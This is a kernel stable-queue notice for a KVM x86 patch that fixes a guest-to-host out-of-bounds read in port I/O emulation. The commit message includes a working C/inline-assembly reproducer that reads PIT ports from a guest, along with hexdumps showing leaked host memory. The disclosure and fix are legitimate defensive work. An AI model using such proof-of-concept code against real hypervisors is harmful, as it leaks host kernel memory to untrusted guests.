Patch "KVM: X86: Fix read out-of-bounds vulnerability in kvm pio emulation" has been added to the 4.9-stable tree
Subsystems (3)
This is a note to let you know that I've just added the patch titled
KVM: X86: Fix read out-of-bounds vulnerability in kvm pio emulation
to the 4.9-stable tree which can be found at:
http://www.kernel.org/git/?p=linux/kernel/git/stable/stable-queue.git;a=summary
The filename of the patch is:
kvm-x86-fix-read-out-of-bounds-vulnerability-in-kvm-pio-emulation.patch
and it can be found in the queue-4.9 subdirectory.
If you, or anyone else, feels it should not be added to the stable tree, please let <[email protected]> know about it.
Quoted 1 line
From
cbfc6c9184ce71b52df4b1d82af5afc81a709178Mon Sep 17 00:00:00 2001
From: Wanpeng Li <[email protected]>
Date: Fri, 19 May 2017 02:46:56 -0700
Subject: KVM: X86: Fix read out-of-bounds vulnerability in kvm pio emulation
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
From: Wanpeng Li <[email protected]>
commit cbfc6c9184ce71b52df4b1d82af5afc81a709178 upstream.
Huawei folks reported a read out-of-bounds vulnerability in kvm pio emulation.
- "inb" instruction to access PIT Mod/Command register (ioport 0x43, write only, a read should be ignored) in guest can get a random number.
- "rep insb" instruction to access PIT register port 0x43 can control memcpy() in emulator_pio_in_emulated() to copy max 0x400 bytes but only read 1 bytes, which will disclose the unimportant kernel memory in host but no crash.
The similar test program below can reproduce the read out-of-bounds vulnerability:
void hexdump(void *mem, unsigned int len)
{
unsigned int i, j;
for(i = 0; i < len + ((len % HEXDUMP_COLS) ? (HEXDUMP_COLS - len % HEXDUMP_COLS) : 0); i++)
{
/* print offset */
if(i % HEXDUMP_COLS == 0)
{
printf("0x%06x: ", i);
}
/* print hex data */
if(i < len)
{
printf("%02x ", 0xFF & ((char*)mem)[i]);
}
else /* end of block, just aligning for ASCII dump */
{
printf(" ");
}
/* print ASCII dump */
if(i % HEXDUMP_COLS == (HEXDUMP_COLS - 1))
{
for(j = i - (HEXDUMP_COLS - 1); j <= i; j++)
{
if(j >= len) /* end of block, not really printing */
{
putchar(' ');
}
else if(isprint(((char*)mem)[j])) /* printable char */
{
putchar(0xFF & ((char*)mem)[j]);
}
else /* other char */
{
putchar('.');
}
}
putchar('\n');
}
}
}int main(void)
{
int i;
if (iopl(3))
{
err(1, "set iopl unsuccessfully\n");
return -1;
}
static char buf[0x40];
/* test ioport 0x40,0x41,0x42,0x43,0x44,0x45 */
memset(buf, 0xab, sizeof(buf));
asm volatile("push %rdi;");
asm volatile("mov %0, %%rdi;"::"q"(buf));
asm volatile ("mov $0x40, %rdx;");
asm volatile ("in %dx,%al;");
asm volatile ("stosb;");
asm volatile ("mov $0x41, %rdx;");
asm volatile ("in %dx,%al;");
asm volatile ("stosb;");
asm volatile ("mov $0x42, %rdx;");
asm volatile ("in %dx,%al;");
asm volatile ("stosb;");
asm volatile ("mov $0x43, %rdx;");
asm volatile ("in %dx,%al;");
asm volatile ("stosb;");
asm volatile ("mov $0x44, %rdx;");
asm volatile ("in %dx,%al;");
asm volatile ("stosb;");
asm volatile ("mov $0x45, %rdx;");
asm volatile ("in %dx,%al;");
asm volatile ("stosb;");
asm volatile ("pop %rdi;");
hexdump(buf, 0x40);
printf("\n");
/* ins port 0x40 */
memset(buf, 0xab, sizeof(buf));
asm volatile("push %rdi;");
asm volatile("mov %0, %%rdi;"::"q"(buf));
asm volatile ("mov $0x20, %rcx;");
asm volatile ("mov $0x40, %rdx;");
asm volatile ("rep insb;");
asm volatile ("pop %rdi;");
hexdump(buf, 0x40);
printf("\n");
/* ins port 0x43 */
memset(buf, 0xab, sizeof(buf));
asm volatile("push %rdi;");
asm volatile("mov %0, %%rdi;"::"q"(buf));
asm volatile ("mov $0x20, %rcx;");
asm volatile ("mov $0x43, %rdx;");
asm volatile ("rep insb;");
asm volatile ("pop %rdi;");
hexdump(buf, 0x40);
printf("\n");
return 0;
}The vcpu->arch.pio_data buffer is used by both in/out instrutions emulation w/o clear after using which results in some random datas are left over in the buffer. Guest reads port 0x43 will be ignored since it is write only, however, the function kernel_pio() can't distigush this ignore from successfully reads data from device's ioport. There is no new data fill the buffer from port 0x43, however, emulator_pio_in_emulated() will copy the stale data in the buffer to the guest unconditionally. This patch fixes it by clearing the buffer before in instruction emulation to avoid to grant guest the stale data in the buffer.
In addition, string I/O is not supported for in kernel device. So there is no iteration to read ioport %RCX times for string I/O. The function kernel_pio() just reads one round, and then copy the io size * %RCX to the guest unconditionally, actually it copies the one round ioport data w/ other random datas which are left over in the vcpu->arch.pio_data buffer to the guest. This patch fixes it by introducing the string I/O support for in kernel device in order to grant the right ioport datas to the guest.
Before the patch:
0x000000: fe 38 93 93 ff ff ab ab .8......0x000008: ab ab ab ab ab ab ab ab ........0x000010: ab ab ab ab ab ab ab ab ........0x000018: ab ab ab ab ab ab ab ab ........0x000020: ab ab ab ab ab ab ab ab ........0x000028: ab ab ab ab ab ab ab ab ........0x000030: ab ab ab ab ab ab ab ab ........0x000038: ab ab ab ab ab ab ab ab ........
0x000000: f6 00 00 00 00 00 00 00 ........0x000008: 00 00 00 00 00 00 00 00 ........0x000010: 00 00 00 00 4d 51 30 30 ....MQ000x000018: 30 30 20 33 20 20 20 20 00 30x000020: ab ab ab ab ab ab ab ab ........0x000028: ab ab ab ab ab ab ab ab ........0x000030: ab ab ab ab ab ab ab ab ........0x000038: ab ab ab ab ab ab ab ab ........
0x000000: f6 00 00 00 00 00 00 00 ........0x000008: 00 00 00 00 00 00 00 00 ........0x000010: 00 00 00 00 4d 51 30 30 ....MQ000x000018: 30 30 20 33 20 20 20 20 00 30x000020: ab ab ab ab ab ab ab ab ........0x000028: ab ab ab ab ab ab ab ab ........0x000030: ab ab ab ab ab ab ab ab ........0x000038: ab ab ab ab ab ab ab ab ........
After the patch:
0x000000: 1e 02 f8 00 ff ff ab ab ........0x000008: ab ab ab ab ab ab ab ab ........0x000010: ab ab ab ab ab ab ab ab ........0x000018: ab ab ab ab ab ab ab ab ........0x000020: ab ab ab ab ab ab ab ab ........0x000028: ab ab ab ab ab ab ab ab ........0x000030: ab ab ab ab ab ab ab ab ........0x000038: ab ab ab ab ab ab ab ab ........
0x000000: d2 e2 d2 df d2 db d2 d7 ........0x000008: d2 d3 d2 cf d2 cb d2 c7 ........0x000010: d2 c4 d2 c0 d2 bc d2 b8 ........0x000018: d2 b4 d2 b0 d2 ac d2 a8 ........0x000020: ab ab ab ab ab ab ab ab ........0x000028: ab ab ab ab ab ab ab ab ........0x000030: ab ab ab ab ab ab ab ab ........0x000038: ab ab ab ab ab ab ab ab ........
0x000000: 00 00 00 00 00 00 00 00 ........0x000008: 00 00 00 00 00 00 00 00 ........0x000010: 00 00 00 00 00 00 00 00 ........0x000018: 00 00 00 00 00 00 00 00 ........0x000020: ab ab ab ab ab ab ab ab ........0x000028: ab ab ab ab ab ab ab ab ........0x000030: ab ab ab ab ab ab ab ab ........0x000038: ab ab ab ab ab ab ab ab ........
--- arch/x86/kvm/x86.c | 24 +++++++++++++++--------- 1 file changed, 15 insertions(+), 9 deletions(-)
arch/x86/kvm/x86.c +15 -9
@@ -4763,16 +4763,20 @@ emul_write:static int kernel_pio (struct kvm_vcpu *vcpu,void *pd) { -/* TODO: String I/O for in kernel device */ -int r; +int r =0 , i; -if (vcpu->arch.pio.in) - r =kvm_io_bus_read (vcpu,KVM_PIO_BUS , vcpu->arch.pio.port, - vcpu->arch.pio.size, pd); -else - r =kvm_io_bus_write (vcpu,KVM_PIO_BUS , - vcpu->arch.pio.port, vcpu->arch.pio.size, - pd); +for (i =0 ; i < vcpu->arch.pio.count; i++) { +if (vcpu->arch.pio.in) + r =kvm_io_bus_read (vcpu,KVM_PIO_BUS , vcpu->arch.pio.port, + vcpu->arch.pio.size, pd); +else + r =kvm_io_bus_write (vcpu,KVM_PIO_BUS , + vcpu->arch.pio.port, vcpu->arch.pio.size, + pd); +if (r) +break ; + pd += vcpu->arch.pio.size; + }return r; }
@@ -4810,6 +4814,8 @@ static int emulator_pio_in_emulated(struif (vcpu->arch.pio.count) goto data_avail; +memset (vcpu->arch.pio_data,0 , size * count); + ret =emulator_pio_in_out (vcpu, size, port, val, count, true);if (ret) { data_avail:
Patches currently in stable-queue which might be from [email protected] are
queue-4.9/kvm-x86-fix-potential-preemption-when-get-the-current-kvmclock-timestamp.patch queue-4.9/kvm-x86-fix-load-damaged-ssex-mxcsr-register.patch queue-4.9/kvm-x86-fix-read-out-of-bounds-vulnerability-in-kvm-pio-emulation.patch